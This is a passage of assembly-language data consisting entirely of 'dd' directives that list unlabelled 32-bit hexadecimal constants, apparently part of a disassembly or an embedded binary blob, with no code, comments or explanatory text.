		dd 61DC7213h, 0CDDFA848h, 62D8FC60h, 543E7B8Fh,	26099065h
		dd 44DC8B4Fh, 19794222h, 0E410C596h, 8C47601Fh,	34AF0A84h
		dd 832874FAh, 9CD2A3EDh, 77101102h, 0E77F3081h,	22C8CE60h
		dd 0FB706F60h, 40F84829h, 0E9884A04h, 45D4C8ABh, 0F7990E60h
		dd 0FCEEABFh, 31625B48h, 9780BEDCh, 0EFCA1C73h,	5018AE06h
		dd 57E9F646h, 0F1660051h, 47C07804h, 9005C593h,	0B0DC72E5h
		dd 900AC40Ch, 2A1C16D4h, 9CE82240h, 0FDE104DDh,	69188CC8h
		dd 34833095h, 91000D45h, 0D23A89DEh, 73E580h, 0B7D854A0h
		dd 5B2E4CE6h, 0EBCDE409h, 4E02BF2h, 0F9420254h,	985A210Ch
		dd 74317D78h, 5C891199h, 2236F987h, 79A070C4h, 16C02D8Fh
		dd 8E941AA7h, 44840449h, 8106B001h, 80182FE0h, 48045841h
		dd 0B797Ah, 0FA547801h,	7062466Ah, 9E1C063Eh, 0C02A1F1Eh
		dd 4E0105F2h, 376617ACh, 0C720903Ch, 12AA026Bh,	304A3F5Ch
		dd 70D37441h, 0A18CD1A0h, 0CACD19D3h, 95228826h, 3CB06300h
		dd 0B8F19640h, 0AC801F2h, 7803A1D6h, 18243274h,	9131242Ch
		dd 0EDD90394h, 3971ECEAh, 606957A1h, 98001300h,	0AE23A1B0h
		dd 25E9AA74h, 0E88370B2h, 40502757h, 821B7738h,	0B81028A4h
		dd 1F634198h, 4C02D01h,	86616DDCh, 0CF46C894h, 3F3CD502h
		dd 2D31BAA7h, 3C9E6110h, 0CEAD2805h, 28880FF8h,	9C3F782Bh
		dd 6769774h, 98442E9Ch,	1D09CB9h, 0ED758621h, 7F77D412h
		dd 0B01FECD1h, 1CC84462h, 0D708FCACh, 0C03A6546h, 9E3B7E77h
		dd 0BD60FCB9h, 1EFA5h, 17C35A3Dh, 0B87438ACh, 360F3504h
		dd 7880FEF9h, 89207385h, 97E43087h, 77DE860Bh, 0A04801EFh
		dd 2E21AE74h, 0FD39D0E3h, 646C0FFBh, 25650FFh, 9CF37E28h
		dd 7144C8E7h, 1EB78860h, 0EC0058B1h, 601A3B23h,	2430A13h
		dd 0BD0AC94h, 5001776Fh, 993DC4h, 2CC0CA38h, 0C4F0DAh
		dd 69A15276h, 0A875EEE7h, 0CE0A0D7Ah, 0E0A02CC7h, 0F637C880h
		dd 0F2A99C2h, 0E0604AC0h, 9EAC640h, 810476B7h, 53D695DFh
		dd 8169CD8h, 9B7EA7E5h,	3B41C170h, 0C384B1E5h, 0A2738CC0h
		dd 13A93F0Ch, 0D004D797h
		dd 50812528h, 10A5F4EFh, 9B9A8825h, 708D8064h, 19F8AE7h
		dd 0E4010E79h, 439A8072h, 12E057E0h, 0AF391EA7h, 0ACE7AACEh
		dd 75C6E202h, 0C0DAF7EDh, 6D1DDCh, 7E138BC7h, 439908B4h
		dd 0C409A54Bh, 0DD1D05A1h, 0B8744CD9h, 79884387h, 0E5D8B209h
		dd 80E4C5BBh, 10B2C7AEh, 0A93CDE03h, 0C8C4804Dh, 0EC240209h
		dd 40E54F2Bh, 360A27B4h, 4890FAC9h, 944424A7h, 0AD226760h
		dd 0F16DF309h, 9F3498ECh, 0BBA0046h, 0B533E69Bh, 4F12E895h
		dd 7C0436C2h, 0C80510A0h, 0C800CBF6h, 0E9CAC013h, 0DC918E33h
		dd 62226F08h, 9712F4B6h, 8110112Ch, 8CFB053Fh, 0C810BB45h
		dd 16853C8h, 2B825A72h,	9C409C2Dh, 25EDBBCh, 4D658A23h
		dd 0E040D334h, 31C4292Ch, 0FCC0350Fh, 0F86795F4h, 0A09E3A7Bh
		dd 91D44C12h, 330AF91Ch, 2422178h, 0CF523FCAh, 28116CCBh
		dd 0E2402166h, 78C648A6h, 0C6CA713h, 9AD07488h,	1DFCACB0h
		dd 0B446E340h, 0EEA9807Ch, 0FB4E7E76h, 8B6C1500h, 5E3016BEh
		dd 2A85002Dh, 0BA0B957h, 9A2468D5h, 0D812A88Eh,	2B2FF406h
		dd 0F78A0079h, 86CA650Fh, 3A1C45D5h, 1F80E319h,	4449DA18h
		dd 976B1329h, 22C88250h, 2D60D920h, 13F57823h, 0AB20280h
		dd 96874F4h, 2C235E89h,	7D808555h, 1A0063FBh, 5D4EEB10h
		dd 97BE2CDh, 0A6E9DCF6h, 8A1E5C40h, 0F900B492h,	0A4939011h
		dd 47D9162h, 138DB21h, 2E68A389h, 465ED095h, 72C8000Eh
		dd 0CC5F4DB0h, 63FC32E6h, 34E445A9h, 53FD570Ah,	0A125A92Ah
		dd 0D8611640h, 5A35F428h, 0D16C94E8h, 6CF86FF4h, 8C99B870h
		dd 39EA4200h, 65C13FFFh, 99C4376Bh, 11A9B058h, 74988C5Fh
		dd 0A2F6C90Bh, 0FB446030h, 80389C72h, 0ED650DD7h, 1113A597h
		dd 94410FF0h, 871A512Fh, 0C0868C20h, 0E8B15EE1h, 0FC90E450h
		dd 1B9EC427h, 0FDE828C0h, 91860B98h, 0E083540Dh, 6800F725h
		dd 0FBD2E173h, 0D1215Dh, 2EC03EB3h, 0A876845Ah,	0D51AD400h
		dd 6A4CED4Ah, 3E5628E4h, 0EB4507EFh, 0C3762DBEh, 0C1A04497h
		dd 0A600664Ah, 56A18E07h, 0F065FFBFh, 0F29EEA43h, 0A5800057h
		dd 0D1EBF9CBh, 0EA004414h, 0B424D7Bh, 233132h, 0B5751E72h
		dd 0B0082EE1h, 0C62D9707h, 0F810D25Ah, 0B80A519h, 99FAF6FBh
		dd 0C3C0384Ah, 0CA5C4778h, 0AB2330h, 0CC52BDDh,	678662D5h
		dd 0C03221FDh, 0FAC5382Bh, 2C5DB83Ah, 0DC04A0EBh, 89056641h
		dd 0C9B05C7Bh, 3A002315h, 0B4514D1Fh, 0EF83AA09h, 0C40C4CDh
		dd 47B169BFh, 7471B816h, 4898C635h, 98F2BCA2h, 1F4B730h
		dd 0AA7E1FC1h, 305E8709h, 0F713561Ch, 8420EC28h, 0D11275F9h
		dd 1B005839h, 3F4EC45Eh, 3E0FAE18h, 1FFF99Ah, 2D9C637Bh
		dd 0B0394421h, 911EAFB8h, 76801617h, 404EEDDBh,	7B643506h
		dd 339C4D3Ch, 0F7673091h, 80544159h, 0E5D2B2CEh, 72458CABh
		dd 4B2F1C3h, 3F008433h,	77B643B7h, 0AC07CBBCh, 50F901E1h
		dd 625AAA50h, 279872A6h, 0A09791ADh, 6020FF88h,	9DED6D89h
		dd 0AD8CCD1Dh, 2C05F312h, 903A62A0h, 5400FB23h,	0E1305C39h
		dd 0F1D20355h, 0F9360CDDh, 2D125886h, 83AF318h,	3B012A23h
		dd 0B8F6120h, 2C206DEDh, 41414E27h, 160F9770h, 20002A19h
		dd 0AB778FFCh, 9828EFF6h, 63D878E1h, 3003E2BCh,	2F0C1D42h
		dd 4CD1EE85h, 57F82CAEh, 1F174EA4h, 932613CFh, 478A7710h
		dd 2E44705Ah, 0E43700F6h, 0DB58D907h, 0F127FE49h, 8AEC8920h
		dd 406E68A4h, 0DC5D5E81h, 9250013h, 86E0465Fh, 0E658EF78h
		dd 8B208BF8h, 45C803C4h, 6AD10003h, 1BF8ED35h, 71018BE5h
		dd 43DFA9C1h, 4C603D56h, 0C080AD95h, 70A8B0D4h,	0BA087803h
		dd 0C8980FC5h, 0B8EE1738h, 0A7282FA2h, 0F2D40C04h, 20FFF100h
		dd 4000CE0Ch, 8E284AB3h, 0A11F95ADh, 8C47DEECh,	0E9A6CF00h
		dd 0CD7CA1A9h, 0FF021868h, 0CE06878Ah, 465258E0h, 31800CB6h
		dd 0A7E172C0h, 0DED92CACh, 34674B0h, 0A772F700h, 786B275h
		dd 1A8B0425h, 0D66C84E8h, 183CA860h, 74D2A726h,	0B0BA70h
		dd 94AC6C3Ch, 0E9A7485Eh, 68FE2224h, 1440CC2Eh,	0B6ADB3h
		dd 3E3850BAh, 0A13F182h, 47C8AE0Bh, 0C0CC6D48h,	0D3596FB4h
		dd 50643496h, 0E9E53F61h, 1420A57Eh, 2BC796Ch, 4C81EDEFh
		dd 4C69F7Ch, 58015100h,	8508D6A1h, 30DFFA9Ch, 0D959F445h
		dd 0FC0267D4h, 0B3E02497h, 93E0FF8Bh, 0AA5077A6h, 0A4A7FB90h
		dd 11672C44h, 2B6A8076h, 0E301705Fh, 2B9F4241h,	6E7C4F2Ah
		dd 77877321h, 0C2584411h, 0FF205D1Ch, 0A816F3h,	0B25A7526h
		dd 0D0EEB981h, 76D51B02h, 1DF8A04Dh, 0D800C63Eh, 143A27E2h
		dd 0E63E01BCh, 0A8C7B082h, 1D6E28B5h, 24620C77h, 60AF1324h
		dd 29FB6D6Ch, 2CE0E40h,	5326BA86h, 0A4E2D37Eh, 2840FD63h
		dd 73FE57A0h, 58248830h, 16C35EAAh, 8EEF53Fh, 0C9C03E44h
		dd 5FE5D3B2h, 0FF842CA3h, 38B2D000h, 78EC149Ch,	60B8CEh
		dd 77959184h, 0EA23F07Ah, 2F422B25h, 1A7C652Ch,	99A13CB0h
		dd 0F52D62B8h, 0C70DF901h, 0C84983Ch, 0C8170BD6h, 1E530Ch
		dd 3513F408h, 5CE76580h, 7701E971h, 0E6C7E28Ch,	0A98C70A2h
		dd 0AF411745h, 0B7EB7700h, 3CDAB4E5h, 75B900A5h, 109E9815h
		dd 0B041F4Eh, 0C24627Dh, 0FEC84CCFh, 79288C0h, 7C7E0BF7h
		dd 94A45406h, 0DC414079h, 814C76h, 0E56C87E4h, 0D258B9CEh
		dd 0F802EC99h, 86EA00Ch, 0E7BA8F1Ch, 617E5E01h,	473CF8BCh
		dd 6D0B8800h, 0CEB1E829h, 523A30CDh, 0D7084440h, 0E5052C96h
		dd 60A2D3FBh, 0BF3094F2h, 0C41E0036h, 0E46A65BEh, 4112CA4Bh
		dd 2817F207h, 44CCA034h, 0D2AA006Bh, 6E7FA766h,	2C731B51h
		dd 4443E4Ch, 0F54DAB28h, 1CE04CA1h, 1298F87Ah, 80C9A60Dh
		dd 91807758h, 4E0AA8A8h, 6C07D124h, 8C1ECD06h, 8B540019h
		dd 269BF7B5h, 91187DC0h, 6A90F206h, 0FE2B81F9h,	0E10E8F9h
		dd 9041139Fh, 2768C48h,	77979F09h, 11801D91h, 0ECCE8069h
		dd 386CAFF5h, 0D301E3EDh, 2680DE55h, 0DC888492h, 0FC41DB47h
		dd 0D3F5FE0Ch, 0CCF3E82Bh, 3252FD8h, 18C3FF3Dh,	21D0A7FBh
		dd 0F376F9h, 16A2747Eh,	0CB900BBFh, 0C02AC8C0h,	9C988E33h
		dd 8C8E94Bh, 345A10E5h,	0E0B900C2h, 1E90FE7h, 0D47E35A3h
		dd 0A16C80E1h, 1B058865h, 943B92F3h, 41A670D0h,	0A00D6B89h
		dd 0FA08281Dh, 5CA962D7h, 1FB100C3h, 0DCE984D8h, 512C22Dh
		dd 2ED79798h, 982378h, 749F1172h, 0AFEAC023h, 1E06E8BEh
		dd 93282564h, 99AD7804h, 449E8927h, 75CF006Ch, 7F87E84Ah
		dd 9F8EF32h, 2F44E41Eh,	0EDD59130h, 987D0022h, 0F8DB066Fh
		dd 6527EBB0h, 1A444A5h,	0E39983F7h, 4020A46Ah, 6E2151B0h
		dd 0EA747509h, 3A3C0677h, 0AAF61750h, 0CE8C40C5h, 0D352C228h
		dd 1E8C2395h, 0C7E80011h, 0B154FE68h, 9E067B01h, 5CB9E228h
		dd 82A70528h, 0E6F714F3h, 0D90FB0E4h, 6D753DDFh, 701D8380h
		dd 2C6AE521h, 908EB64Eh, 57C0FDC8h, 1364732h, 0E66154E5h
		dd 8A97CB92h, 644E6850h, 91AC1725h, 0FBC68095h,	0EBB51ADEh
		dd 1601B073h, 5F31D12Fh, 6060307Dh, 118CA3Ch, 72F9A864h
		dd 8089C0BCh, 5CF1A1E6h, 9113088h, 58F0B357h, 1468A645h
		dd 1F8C94BCh, 807A240Eh, 90C893F0h, 917AA10h, 441E80Fh
		dd 0DA89AE0Dh, 128B3030h, 412B407Bh, 2FCE1DC0h,	4DD1808Fh
		dd 0C2AC09F8h, 55B402BDh, 0C9C61E73h, 0F3A5B860h, 74F56345h
		dd 94ABCE60h, 0D8465C20h, 9209B100h, 0ABC44F2Dh, 0A6C93F16h
		dd 76ED1431h, 0C0B9DE9Ch
		dd 554D1FC7h, 8460084Fh, 1AE998E8h, 2D5CBAF9h, 3017F6ECh
		dd 47812A11h, 0E82EFB4Ch, 13480933h, 2FB63884h,	91849DD7h
		dd 91B98211h, 687460FDh, 7B770EFAh, 3712C6Bh, 886A7F75h
		dd 9810422Eh, 8CAF7450h, 0C92BD902h, 1662F50Ch,	2C53CE01h
		dd 845CA1A8h, 9FDB7EDCh, 0CCF9F811h, 0E907AFECh, 15697BF6h
		dd 770C849Ah, 3DB8FA25h, 8202ED7Eh, 0BB9740Ch, 0C6D1B079h
		dd 203E7A18h, 0A224001Fh, 0AE0F9C85h, 0A41151C5h, 0F808F261h
		dd 4810091Bh, 30E5AB27h, 6122C8CEh, 7DAEE6E5h, 1ECE13E8h
		dd 0A664B4h, 5442EC8Fh,	57816CC4h, 87FE5F16h, 6CEDC00h
		dd 0BA671A10h, 4813FB40h, 0EE26A9C8h, 0D3C780Eh, 8065C009h
		dd 1C15C551h, 0D3C3E3D3h, 0F53C0824h, 59FF1881h, 382069CCh
		dd 0A839F474h, 2E41A984h, 4278834Ah, 840FE392h,	6E007FEBh
		dd 2BE242CBh, 80501F5Ch, 44DFA3ADh, 0B0D15EDAh,	0CA74FFA8h
		dd 4793891h, 0B200A918h, 642880EBh, 0B84B6B3Eh,	8744B671h
		dd 86F8CF8Dh, 7CB01125h, 245B0142h, 0B3F880B0h,	0C02C13C6h
		dd 193175F8h, 0BC486689h, 292E1D02h, 0F1CC00D4h, 0DE87C7B2h
		dd 0D879F9h, 0A86F3FCAh, 27B1E9A6h, 0D0C68177h,	2C90D54Fh
		dd 5CEE738Fh, 3AB58053h, 0FE2384h, 7A935FB1h, 8524E477h
		dd 890D68C1h, 0DCCCB964h, 80AD006Ch, 0BA733E38h, 0DD140F8Bh
		dd 963CCAE5h, 0D8C87C8Ah, 523ABFC0h, 0E3060093h, 60447C2Fh
		dd 1D76EE02h, 0DD040D71h, 0F19A5F2h, 104350A1h,	0E710DACBh
		dd 609964BCh, 0F40974D6h, 0F6FD01EAh, 4522777Eh, 6DC983EBh
		dd 0C8696512h, 0C9A5FE51h, 54E5B779h, 556005E4h, 661FAA19h
		dd 8012BA0h, 7F8F3FB7h,	4994203Bh, 13015729h, 0EDD41EF0h
		dd 0FAD4D3EBh, 9BF34A46h, 1C3D8074h, 12F821FBh,	0A4D3A14Ah
		dd 8843A2D4h, 7B2C504h,	0CBD484E6h, 0CC2677D4h,	75008FB2h
		dd 83340A06h, 76730974h, 0D8F99011h, 73189979h,	8B662303h
		dd 90CEA135h, 701A6FDDh, 48023868h, 6D9730F3h, 501F4A81h
		dd 0E624AC92h, 7460A0A5h, 9D7D120Ch, 0DAE47C84h, 0C7800834h
		dd 0C6923813h, 8BF4B47Ah, 5B2E6A3Eh, 1884348Dh,	442CF2C3h
		dd 3721839Eh, 735107D4h, 2002676Ah, 0FA5140C0h,	402690BEh
		dd 203FF0ACh, 7CE51487h, 0B50548DFh, 0CBAC3D2Eh, 2110DCC4h
		dd 1B4F9C7h, 3F3482E6h,	25A60C42h, 1ACD01CBh, 0A04E2B2Eh
		dd 0A3FEA0B2h, 1CA43034h, 43D32866h, 0F7C55F61h, 0DF0098CCh
		dd 0E5D9B208h, 4069C4B3h, 39B2D6ADh, 31A90032h,	276CDBEFh
		dd 6400261Fh, 12936A9Fh, 626D4DF3h, 797788E6h, 6C082872h
		dd 0A09F5FBh, 167878A2h, 23903AD7h, 0E37D0094h,	117961FAh
		dd 5F64100Bh, 905A87h, 1C2F8595h, 96C4F34Dh, 0B6FD1201h
		dd 0B37CA3CDh, 5E845CCAh, 0F1027046h, 8976185Fh, 4C80D87Eh
		dd 51F68339h, 3080064h,	0A1AF25EBh, 2A025827h, 0D8536BD7h
		dd 74D0809Eh, 0D3C589E1h, 78A238h, 5B0A0493h, 10FA6D0h
		dd 0A9E956BAh, 2090AAF1h, 4200C530h, 0F2EC485Dh, 616F11AFh
		dd 8CCE1886h, 40F4C5ADh, 0DD1EEDB4h, 0D368601Fh, 0D04A0E5h
		dd 6387E5h, 0CE9B9658h,	0A685E3C5h, 81BC500Fh, 86CF2032h
		dd 12FFC130h, 9089D509h, 720EB3A0h, 4092730Fh, 542DE034h
		dd 9B7E3CAh, 786DC474h,	11517800h, 7D0066D4h, 730DA696h
		dd 0FE742DF3h, 0DC7E0CC2h, 0A1286901h, 547C331Fh, 0A0084756h
		dd 0CC219D2Bh, 1ED0F30Ah, 0AA80C8B4h, 71E6A6A9h, 0F56C00EDh
		dd 7F21C4C7h, 51C0860Ch, 0F828D389h, 44450078h,	4EA9AAFh
		dd 6A00F16Eh, 2E54BEF2h, 76A0426Bh, 72A6002Ch, 0FF5BA489h
		dd 1900D88Ch, 12B3871Bh, 0F8A710h, 0C9471FB1h, 0BAF514FAh
		dd 3546D800h, 3D20480Ch, 0E3F9D1h, 64D71818h, 0AF6D41F3h
		dd 2015C229h, 20EB5CE2h, 4A9137CEh, 6B7477E8h, 0EF130E07h
		dd 40D47B42h, 0BBC0E4C7h, 0AD12B7h, 3DFCBADFh, 0AB56515Dh
		dd 204AAA29h, 10805846h, 42FFA7CCh, 16C60014h, 64DDA413h
		dd 0EC83F9A6h, 49848951h, 6C401EA2h, 7401C8ABh,	0B56D4ED3h
		dd 0ACFADE58h, 628A0834h, 0F170C00Bh, 0A02180B7h, 1F04D1F0h
		dd 8017E460h, 0C865789Eh, 19027509h, 72056B0Ch,	0EFEC80AFh
		dd 0BEFE5Dh, 8FADBD1h, 68420C37h, 8CA5C100h, 9607F005h
		dd 3AEC0CE7h, 7628BF0Bh, 44980944h, 2284E4BEh, 0A25011B4h
		dd 15F38D28h, 71297219h, 22849E08h, 0AC22BD34h,	0B52F320Fh
		dd 3C828AA1h, 4027BBB0h, 140D9428h, 385C8622h, 6AF0050h
		dd 0C90E3563h, 0D5AD009Fh, 0BDE5A3F1h, 0DA039CD9h, 2CB49EC2h
		dd 0B3BAA82Fh, 0E8840075h, 0DB9D5B98h, 0D200E9E1h, 6D371D01h
		dd 0D31874h, 0E02D08BCh, 0A0CF710Dh, 539F6A00h,	0B558C45h
		dd 0B8B1003Ch, 1E2B5F05h, 1B7F0EA1h, 7B62D4E7h,	1D716800h
		dd 0B83457F8h, 0FE3503E0h, 463CA4F6h, 0D70A4003h, 0E8847E5Ah
		dd 0FC0BDE9Ch, 0D981036Eh, 3CD2CFC8h, 2EC342F8h, 8B85A900h
		dd 15F1B1D5h, 1F7488h, 6DC0CB99h, 0B4795181h, 0DD00577Ch
		dd 0F4296955h, 4299B8h,	0B9A37419h, 854D7E8Dh, 0CD09D400h
		dd 2FBF524Fh, 0EE3F3CC4h, 0CF133180h, 531C667Ah, 61323500h
		dd 0DBAFEB96h, 88B90051h, 233E281Dh, 1300E392h,	4D7608CBh
		dd 6ABD48h, 9F97E83Ch, 9086B39Dh, 21A2BB00h, 60F99947h
		dd 6F3400EDh, 0E76A1DB5h, 2401F359h, 0CD572122h, 0BFE4C407h
		dd 0EA1B00ABh, 0CC147F4Ch, 15078D94h, 3370CF1Dh, 2DE260AFh
		dd 375939h, 603590B2h, 24AC22F8h, 0A2EE1500h, 708C30A7h
		dd 780F011Eh, 5AC516DCh, 5720E4C3h, 9400B5E4h, 0B88BE19h
		dd 0FBEC38h, 0CA28B478h, 9727695Fh, 26FFDD00h, 1482D69Fh
		dd 8D300321h, 1D91906Eh, 0EBFB6898h, 73118000h,	1C618AEFh
		dd 195005F3h, 0E7EC84Ah, 1BE549Ch, 75C03D90h, 0AA2EE4A5h
		dd 63DC4403h, 0DB854A71h, 577DD070h, 0DEE0C0DDh, 9A6A56A8h
		dd 0A4271928h, 0B43E9E00h, 0AD0ACBC1h, 0A8E4C6h, 0F1DE7360h
		dd 644EE906h, 6298E100h, 7DB5157Eh, 0C07F002Fh,	564C2D7Bh
		dd 0D5018512h, 93FEEFBDh, 41E02AA1h, 0DD2C0088h, 0E512C19Eh
		dd 0CF28E642h, 9700C038h, 354B8929h, 2C7E1Eh, 3BB98B09h
		dd 200160A5h, 0B3C05C00h, 737ACCF6h, 0B4F138D9h, 977BAF80h
		dd 8A4C66Ch, 0D79FB800h, 5BBC37F2h, 9E5F0729h, 804FBA24h
		dd 0DB1A99B7h, 0A28BEA00h, 61D82EF3h, 26780135h, 1CD3C0BBh
		dd 0BCA8E891h, 3FCA9800h, 6EFD36A1h, 34B700F8h,	0AEFF0BAAh
		dd 6C019C33h, 62630194h, 40C63E97h, 0E5B44A1Ch,	170F9A70h
		dd 1FE929h, 0C47999F4h,	760385ABh, 7E0CFF2Eh, 9FF0003Bh
		dd 940EEA9Eh, 6F001DA0h, 0DD4F1061h, 886B1Ah, 0A175925Fh
		dd 0BD57CBB5h, 0DA6E6D00h, 1C639E45h, 32C20361h, 83DD682Eh
		dd 24D75FD8h, 9CEEE200h, 333548F8h, 0D462336Ch,	90F85631h
		dd 951C931Eh, 43C034C4h, 66473517h, 0A43648B3h,	0B6038B39h
		dd 3CA31477h, 0E4EA0FA8h, 856D4207h, 50211631h,	0DC304855h
		dd 32130F68h, 0D8A09CBAh, 0B789250Bh, 0F8AB2A28h, 1B6B9901h
		dd 239777EBh, 76D1B1DCh, 0E790021h, 6D437AB0h, 32008625h
		dd 0FB800D83h, 1C1A3CE0h, 40FF79B9h, 972F5758h,	0D2ED8AC8h
		dd 3880D043h, 0DF01E469h, 92399BA4h, 6BC072ACh,	2A1007D6h
		dd 9030ED9Dh, 51DF787Bh, 22248DF0h, 96803CB8h, 0AA5F0E8Fh
		dd 0F9F400B3h, 4DF29165h, 27E63C68h, 8001B76h, 94C81E5Bh
		dd 85F8B9h, 8E515AF7h
		dd 0CD603214h, 99725Ch,	16F16BEEh, 3962D717h, 84006193h
		dd 81E899E6h, 5E006404h, 0B6BEB2F1h, 714B94h, 0F6F97C09h
		dd 0DC9B951Dh, 55DE0207h, 0CE9085D0h, 0C523BFh,	8C925461h
		dd 0C4E2F9Ah, 0E304AB72h, 2A6A7266h, 36133AC0h,	7CFA0497h
		dd 0C04251F1h, 9C885BDBh, 373BEEE8h, 59789FB1h,	9DAA80FBh
		dd 32201184h, 0D77C4C3Fh, 4C7D4F03h, 159008AFh,	2D00C9F6h
		dd 42510F2h, 7A54A54h, 0F93862DBh, 0F6EC053h, 0CD0F15ADh
		dd 804FF4F3h, 2973541Fh, 5EB70005h, 751D706h, 103C187Fh
		dd 0E4CCC7h, 0AE2177E9h, 396E0939h, 99834746h, 72B51689h
		dd 0B99C2090h, 6A798300h, 91A3DD2Bh, 0C8C2001Bh, 0CC6DD2F8h
		dd 0B100A8DFh, 0A106D351h, 4CF48A2h, 26630E36h,	8C98811Bh
		dd 0CD3E00Ah, 951FB20Fh, 4A516093h, 4C2599h, 4088545Fh
		dd 32040FB5h, 98526700h, 0B7575C30h, 0D4A4A02Ch, 483804B6h
		dd 0C018C4FFh, 44F6548Ch, 8F08C201h, 0F2BD4695h, 92D62BD4h
		dd 0EEE77580h, 1F800069h, 0C7859FE8h, 0D0087BDh, 0CD17CA0Ah
		dd 0D5B00Bh, 0D38A73DAh, 0A6408E82h, 0DE842900h, 0C42E5DF6h
		dd 935603EFh, 4F3CE349h, 6D1C26C0h, 42DF8618h, 1F91B121h
		dd 40F0851Eh, 0C07355DCh, 45002C17h, 19966286h,	0A01E92h
		dd 0B52A03E7h, 0D68B428Eh, 0FBFDF703h, 90ECCBA3h, 0E0BEC76Fh
		dd 81680735h, 40E7930Ah, 0C4EF2980h, 0A4319700h, 893E2E45h
		dd 0B088499Ch, 0FFE340h, 9853EF94h, 0C27D22AAh,	61FB8F03h
		dd 0B7ADDA63h, 1DABC2DEh, 4A96800Fh, 5128ECh, 7C06FF7Eh
		dd 0A05B495Fh, 0D398E274h, 0B04BC424h, 0D44C3D00h, 5AEC48h
		dd 80FF09B7h, 0B418134Eh, 0DE3CCF00h, 796B4978h, 0F1AE3E9Ch
		dd 0AC306480h, 868D743Fh, 65218A00h, 68C37B98h,	26B91EE8h
		dd 19A34080h, 2FCBC839h, 0E3E9CD00h, 60DBAFEh, 0B3F7167h
		dd 68A24E8Eh, 91E2EB00h, 3006D01h, 0F742FC20h, 0C07D23C9h
		dd 1D8A2228h, 94CF814h,	0B4B60068h, 0C30BD4DDh,	21B500D9h
		dd 9E2F56C8h, 0F028FC29h, 681E9895h, 0A71316ACh, 857F3C41h
		dd 29D858FBh, 25E30241h, 0FE49F832h, 0B0A98BE0h, 0F07AF700h
		dd 0EDDDC2F9h, 91070027h, 688CE863h, 0C54B41Dh,	6720A598h
		dd 0F4450083h, 3B2B4078h, 0FE078B9Bh, 0AA2354CFh, 347D1AB1h
		dd 43CECh, 0BBD11D83h, 14CE5DF1h, 499EA160h, 0E8C6A0B9h
		dd 7D2900BDh, 0F8C77680h, 6D005B8Ch, 5051CB09h,	56ABE97h
		dd 0CFC1C5E0h, 6FA0804Eh, 2630D2CCh, 0DF669E7Dh, 2371CE2h
		dd 859EC080h, 3309B5B1h, 960074B0h, 4C7508DCh, 72643FA8h
		dd 51E2380Ch, 621E1380h, 0F0B7EBC9h, 204FCF00h,	0BE1AD309h
		dd 499E000Eh, 6FC75AADh, 960EB394h, 0E0AB0DD4h,	57A7D737h
		dd 0DC3E0070h, 0A4156749h, 8E1F7C66h, 69C02E4Ch, 8F83084Ah
		dd 9BE2001Dh, 0A963391Eh, 2F03BF8Eh, 0A14B66DBh, 0F590E05Fh
		dd 87B400ABh, 22D33806h, 8A008EA5h, 825D16C8h, 9458CFF4h
		dd 86D00024h, 0B23EF190h, 0FC0180h, 0C09F76E2h,	0F09D4D7Dh
		dd 1374564Ch, 821D70Ah,	0A0719CB9h, 0EE4A5F8h, 958E13Ah
		dd 0D60D2EA0h, 164C497Bh, 467505C8h, 50803917h,	3DDA49Ch
		dd 12C03C9h, 6000B67Fh,	3305E758h, 477F14Ah, 0C4AEF6BDh
		dd 791C868Bh, 53D2F550h, 69EA6F03h, 0F8379D48h,	94E8A636h
		dd 0AEFA00A0h, 5A2A2546h, 0F01A1D00h, 715247Eh,	98FC5CCDh
		dd 5E5CA800h, 0BDA8894h, 143B570Eh, 9D46411h, 22C0CCh
		dd 0AF79B397h, 0D81F8C55h, 0C8E3D600h, 146672E2h, 757313D7h
		dd 8ED000Dh, 8E37E015h,	0B7833624h, 744CC100h, 747EC7Ch
		dd 2879AD25h, 6C35D03Ah, 0F139DBE7h, 960A00E3h,	0F88E0261h
		dd 0D9140015h, 12CD0B9Ch, 6E17AB5Dh, 94004DE6h,	37A5246Bh
		dd 0E2820060h, 9D74A240h, 6C01A80Fh, 0DDA1F465h, 60F5077Fh
		dd 715E5ECh, 5FB069A0h,	0A8BAA093h, 0A30F9C04h,	83C3E6B3h
		dd 985E359Eh, 9E3AE24h,	4899B7C0h, 0E8C67C00h, 0B600A144h
		dd 6B3A07DBh, 0E0CF5ED2h, 84AD000Ch, 667F0DD9h,	8E028D1Ch
		dd 5CB4F29Dh, 570041BBh, 9CC16E5h, 2AE00031h, 9183BCDDh
		dd 0B3175676h, 0E5F8CC97h, 0D0DC7A03h, 9A0B159h, 1A00CF70h
		dd 5EFB929Eh, 0ACFD6Eh,	33D6F624h, 731F72B7h, 50821E12h
		dd 37200000h, 60C278DFh, 195B28C0h, 5830E7CFh, 28EB10C1h
		dd 308D4AB4h, 30E9742Ch, 4473F00h, 0D08948DFh, 26870B61h
		dd 9001AABAh, 0E435D5DDh, 3161C91Ch, 0F4C724FEh, 0E860EAE9h
		dd 257B82h, 0D8802B66h,	653C69F3h, 20CE5200h, 678272EAh
		dd 0B2100FC2h, 0B6B8CFF6h, 6E122C1Dh, 9700EADFh, 880B6377h
		dd 4EC73C8Bh, 30999A00h, 21E26DA7h, 442F2800h, 929D0FA2h
		dd 8F460070h, 1C1E1A41h, 0D11FCD6Ch, 803BAB79h,	0ED226D67h
		dd 3B8245h, 38F4DF25h, 0FB04CF4Eh, 10A7700h, 0C493A72Fh
		dd 2076003Ch, 82BDE457h, 0A000BB30h, 0D0A62D3Fh, 14C741Eh
		dd 765F451Ah, 0D46DF4FFh, 4D00190Dh, 9C7EEF6Ch,	719FD5h
		dd 6BC5E39Ah, 0BD50AF8Eh, 0E4755909h, 69D48038h, 292F23h
		dd 1D4177B6h, 3DDAC97Ch, 2F03712h, 0D81449h, 0C01F840Eh
		dd 1B280076h, 0F0324C40h, 44056E41h, 361E4A6Dh,	94B624C0h
		dd 50A0F876h, 0F6BDB0C2h, 5A6E00BBh, 0E198FD7Ch, 50E4C305h
		dd 8A9AB00h, 826F3249h,	71D10068h, 0F66D83DDh, 0E385409h
		dd 0AACE0024h, 3559B95Bh, 6B45008Eh, 0BC80A62Fh, 0F21E25D5h
		dd 81FCA764h, 0D78DC085h, 0D2F0D828h, 0DFB6000Ah, 0E6518ED1h
		dd 89002955h, 0DF73B67h, 3AD9C5FAh, 0E800F266h,	0BBBEF0B6h
		dd 17008218h, 34233020h, 0AF7736h, 924FAE4Eh, 463D28C5h
		dd 0C031A000h, 192068E2h, 7BFF00CDh, 0ED574C2Ch, 86005C32h
		dd 786050B8h, 0D45F7Eh,	7ADEFBE3h, 51DBD3A0h, 0EB8F300h
		dd 0C56A82Bh, 356B0092h, 0BDAAC17Dh, 0DA04AE6Fh, 0CACDB9EAh
